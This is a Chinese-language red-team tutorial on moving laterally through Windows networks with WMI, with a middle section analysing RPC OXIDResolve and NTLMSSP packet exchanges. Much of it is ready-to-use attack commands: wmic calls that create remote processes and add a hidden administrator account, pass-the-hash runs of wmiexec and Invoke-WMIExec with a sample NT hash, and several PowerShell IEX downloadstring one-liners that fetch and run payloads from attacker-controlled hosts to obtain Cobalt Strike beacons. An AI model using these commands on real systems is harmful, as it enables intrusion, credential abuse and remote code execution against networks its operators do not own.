利用WMI横向移动

一. WMI介绍和使用

1. WMI介绍

WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议, 在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用WMI 进行攻击。

但是微软于 2016 年在 Windows Server 中弃用了 WMIC;于 2021 年在 Windows 10 系统中弃用了 WMIC,而且自 Windows 11 的下个版本开始,后续版本将默认禁用该工具。最终,微软将从未来的 Windows 版本中移除 WMIC。

微软用 Windows PowerShell for WMI 取代了 WMIC(WMIC 和 WMI 是两码事),为管理员提供了一种更有效的方式来查询 Windows Management Instrumentation。

但是在内网中还是有大部分使用的是server 2016之前的版本,所有该方法还有效!

2. 使用方法
复制代码
1、执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt" 
2、列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
3、在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\test.bat
4、添加用户
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
5、执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c\"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

其实命令还有很多...

二. RPC协议分析 - OXIDResolve接口

DCERPC是一个非常基础的Windows系统的通信协议。 DCERPC比RDP协议更普遍,默认开启,内容丰富,接口众多,早期的安全人员在其基础上写了很多蠕虫病毒,DCERPC的默认端口是135,上面承载了包含WMI,认证包括ntlm挑战相应,甚至还能获取网卡IP地址列表。

接下来分析一下RPC协议中都包含了什么内容,这个对于进行安全研究有着很大的帮助!

    1. 首先使用WMI进行远程连接机器然后抓包分析
    1. 分析第一个数据包,第一个数据包表明了利用RPC协议即将调用的接口,是OXIDResolve
    1. 分析第二个数据包,是目标机器返回的数据包,里面包含了确认信息,没有关键的东西
    1. 分析第三个数据包,利用dcom发起OXID接口的请求数据包
    1. 分析第四个数据包,OXID接口返回的数据,非常重要,里面包含了,工作组名字,域名,IP地址(所有网卡的IP地址)IPV6地址等

总结

从以上数据包得知:

复制代码
该接口是未授权访问(并没有使用smb进行认证,只是使用RDP调用了OXID接口)
可以得到目标机器的相关信息(机器名IP多网卡等)

该技术应用非常广泛,如今FOFA GOBY ,国内红队大部分扫描器就都开始集成这个功能,甚至集成到了CS还有很多人写的脚本

三. RPC协议分析 - NTLMSSP协议

NtLmSsp这个服务主要针对RPC(远程过程调用),通常RPC可以选择基于两种通信方式,一种是传输协议,比如TCP/IP、UDP、IPX等,另一种为命名管道(Pipeline)。通常情况下Windows默认选择都是传输协议,而由于RPC是采用非加密传输的,通信数据安全无法得到保证,而NtLmSsp就可向这一类RPC提供安全服务。

接着分析数据包:

  • 1.第一个数据包是发送给目标机器的,包含了认证方式NTLM,还有即将请求的接口类型

    1. 第二个数据包:因为该接口是远程调用接口,需要进行认证,这里使用NTLM挑战相应认证,所以数据包是challenge值,并且包含了自己的主机的相关信息,包含了域名,电脑名,DNS域名,还有DNS电脑名
    1. 第三个数据包:第三个数据包是response值,用于认证
    1. 第四个数据包:认证成功之后接着远程调用isystemactivator接口的remotecreateinstance函数作用是为实际对象创建对象引用

四. WMI横向的利用条件

使用条件如下:

1、wmic命令需要本地管理员或域管理员权限(有UAC也可以)

2、135端口开放

3、开放445(某些脚本需要借助SMB认证)

五. 利用WMI众多工具进行CS上线

1、直接利用自带的wmic的命名上线
  • 第一步:先在本地用python开启一个http服务,,方便接下来测试CS上线

    命令:

    wmic /NODE:192.168.41.20 /user:administrator /password:Admin123 PROCESS call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))""

成功上线

2. wmicexec工具

使用方法:

复制代码
wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP 

其实工具上线步骤都相同

先上传WMICEXEC

后输入

复制代码
wmiexec.exe administrator:[email protected] "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))"

该工具因为还走了一些SMB认证和访问共享等行为,杀软会拦截

3. wmiexec.vbs脚本

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式

使用方法:

复制代码
cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令" 
上线:
cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.20 administrator Admin123 "powershell.exe - nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))"
4. Invoke-WMIExec

Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下:

复制代码
Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe" --verbo

步骤

复制代码
powershell-import powershell/Invoke-WMIExec.ps1
powershell Invoke-WMIExec -Target 192.168.41.20 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab -Command "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -verbose


相关推荐
币之互联万物10 小时前
AQUA爱克泳池设备入驻济南校园,以品质筑牢游泳教育安全防线
安全
Linux运维老纪12 小时前
运维之 Centos7 防火墙(CentOS 7 Firewall for Operations and Maintenance)
linux·安全·centos·云计算·运维开发·火绒
360安全应急响应中心13 小时前
基于 RAG 提升大模型安全运营效率
安全·aigc
EasyNVR13 小时前
国标GB28181视频监控平台EasyCVR保驾护航休闲娱乐“九小场所”安全运营
网络·安全
Ai野生菌13 小时前
工具介绍 | SafeLLMDeploy教程来了 保护本地LLM安全部署
网络·人工智能·安全·大模型·llm
DevSecOps选型指南13 小时前
浅谈软件成分分析 (SCA) 在企业开发安全建设中的落地思路
安全·开源治理·软件成分分析·sca·软件供应链安全工具
cjchsh14 小时前
春秋云境(CVE-2023-23752)
安全
【云轩】14 小时前
《混沌钟的RISC-V指令集重构》
网络·安全
EasyGBS15 小时前
视频设备轨迹回放平台EasyCVR打造视频智能融合新平台,驱动智慧机场迈向数字新时代
网络·人工智能·安全·音视频